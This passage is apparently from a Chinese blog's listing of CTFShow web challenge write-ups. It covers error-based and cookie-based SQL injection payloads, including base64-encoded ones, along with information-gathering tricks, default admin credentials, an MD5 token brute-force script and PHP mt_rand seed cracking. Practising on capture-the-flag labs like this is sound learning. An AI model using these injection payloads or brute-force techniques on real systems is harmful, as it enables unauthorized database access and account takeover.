group_concat(column_name) from information_schema.columns where table_name="flag"),0x7e)) and '1'='1 #获得字段 ' and extractvalue(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag),0x7e)) and '1'='1 #获得左边的flag ' and extractvalue(1,concat(0x7e,(select right(flag4,20) from ctfshow.flag),0x7e)) and '1'='1 #获得右边flagCookie注入,输入正确的密码为admin和admin则会返回cookie,cookie注入uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),0x7e))-- - #获得所有的表 uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e))-- - #获得所有的字段 uname=admin' and extractvalue(1,concat(0x7e,(select right(flag4,20) from ctfshow.flag),0x7e))-- - #获得右边的flag在上个题的基础上增加了base64加密,只要对命令进行base64加密uname=YWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT0nY3Rmc2hvdycpLDB4N2UpKS0tIC0N uname=YWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBncm91cF9jb25jYXQoY29sdW1uX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfbmFtZT0nZmxhZycpLDB4N2UpKS0tIC0N uname=YWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBncm91cF9jb25jYXQoZmxhZzQpIGZyb20gY3Rmc2hvdy5mbGFnKSwweDdlKSktLSAtDQ== uname=YWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCByaWdodChmbGFnNCwyMCkgZnJvbSBjdGZzaG93LmZsYWcpLDB4N2UpKS0tIC0N
2021年09月14日
11 阅读
1 评论
0 点赞
2021-09-08
CTF_Show Web入门 信息收集 爆破
信息搜集vim缓存 vim在编辑文档的过程中如果异常退出,会产生缓存文件,第一次产生的缓存文件后缀为.swp,后面会产生swo等…所以直接访问url/index.php.swp下载访问备份文件即可。查看cookie域名缓存 https://zijian.aliyun.com/后缀admin,这个地方进入admin会被重定技术文档为document.pdf,默认后台地址:http://your-domain/system1103/login.php 默认用户名:admin 默认密码:admin1103后缀直接输入/editor,但是会自动去掉端口,而且没有https,选择上传文件,选择/var/www/html/nothinghere/fl000g.txt,然后原链接后缀加上/flag000g.txt进入找到网页下面的邮箱,进入url+/admin,查询邮箱QQ号发现地址,忘记密码填写地址找到答案网页探针,讲的什么是探针。进入后发现可以进入phpinfo,搜寻flag直接ping ctfer.com分析js,关注下面的代码,进入110.php找到flag var result=window.confirm("\u4f60\u8d62\u4e86\uff0c\u53bb\u5e7a\u5e7a\u96f6\u70b9\u76ae\u7231\u5403\u76ae\u770b\u770b"); # var result=window.confirm("你赢了,去幺幺零点皮爱吃皮看看"); var result=window.confirm("GAMEOVER\n鏄惁浠庢柊寮€濮�");前端会将密码以AES加密发送到后端,只要前段发送到后端加密过的密码和$p一样就可以。抓包修改发送的password为注释部分的密码即可获得。或者去进行AES加密获得 error_reporting(0); $flag="fakeflag" $u = $_POST['username']; $p = $_POST['pazzword']; if(isset($u) && isset($p)){ if($u==='admin' && $p ==='a599ac85a73384ee3219fa684296eaa62667238d608efa81837030bd1ce1bf04'){ echo $flag; } }进入url/db/db.mdb,可以获得一个文件,使用记事本打开,直接搜flag爆破抓包发现admin:pasword是被base64加密过,直接爆破选择base64加密域名也可以爆破的,试试爆破这个ctf.show的子域名,直接访问:http://flag.ctfer.com/index.phpphp代码,subset:获取字符intval:获取整数值get传参token,并进行md5加密判断 第2位 === 第15位 并且 第15位 === 第18位判断 (第2位整数值+第15位整数值+第18位整数值)/第2位整数值===第32位整数值,error_reporting(0); include('flag.php'); if(isset($_GET['token'])){ $token = md5($_GET['token']); if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){ if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){ echo $flag; } } }else{ highlight_file(__FILE__); } ?>跑脚本得到以下结果,测试得到3j正确,url/?token=3j得到结果[h]]1m 3j k0 kv ll mw[hi]import hashlib dic = '0123456789qwertyuiopasdfghjklzxcvbnm' for a in dic: for b in dic: t = str(a) + str(b) md5 = hashlib.md5(t.encode('utf-8')).hexdigest() if md5[1:2] == md5[14:15] and md5[14:15] == md5[17:18]: print(t)mt_srand(372619038)生成一个随机数如果给r的参数等于随机生成的随机数则,获得flag[em] 注:从 PHP 4.2.0 开始,随机数生成器自动播种,因此没有必要使用该函数 因此不需要播种,并且如果设置了 seed参数 生成的随机数就是伪随机数,意思就是每次生成的随机数 是一样的[/em]<?php mt_srand(372619038); echo (mt_rand()); ?>需要配置一下环境,php_mt_seed - PHP mt_rand() 随机数种子破解使用 随机数种子破解使用),配置完成后,传参使用r=0获得一个种子的负数,然后进行使用上面的程序编译运行得到该随机值的可能seed。这个时候会获得多个数字,观察网站的响应头发现是php7,使用获得的数字运行下面的代码获得token,burp添加cookie得到flag<?php mt_srand(4059711086); echo mt_rand()."<br/>"; echo mt_rand()+mt_rand()."<br/>"; ?>观察界面的script,发现需要在url/checkdb.php界面POST四个变量,使用Hackbar直接post[hi]a=&p=&d=&u=&pass=获得flag function check(){ $.ajax({ url:'checkdb.php', type: 'POST', dataType:'json', data:{ 'a':$('#a').val(), 'p':$('#p').val(), 'd':$('#d').val(), 'u':$('#u').val(), 'pass':$('#pass').val() }, success:function(data){ alert(data['msg']); }, error:function(data){ alert(data['msg']); } }); }PS:被这个题整麻了,进入界面发现了登录下面有录取名单和查询系统,下载名单进入查看到名字和损失的身份证号。进入查询系统发现需要名字和身份证号。直接爆破,成功后在rquest获得身份证号,在response获得学号。在登录界面输入身份证号和学号获得flag。在抓包的时候,使用火狐会抓不到包,还有在最后输入的时候提示错误,最后莫名其妙就成功了。 直接对路径进行爆破,去掉2.txt,观察response获得flag
2021年09月08日
7 阅读
1 评论
0 点赞
1
2
3
4
5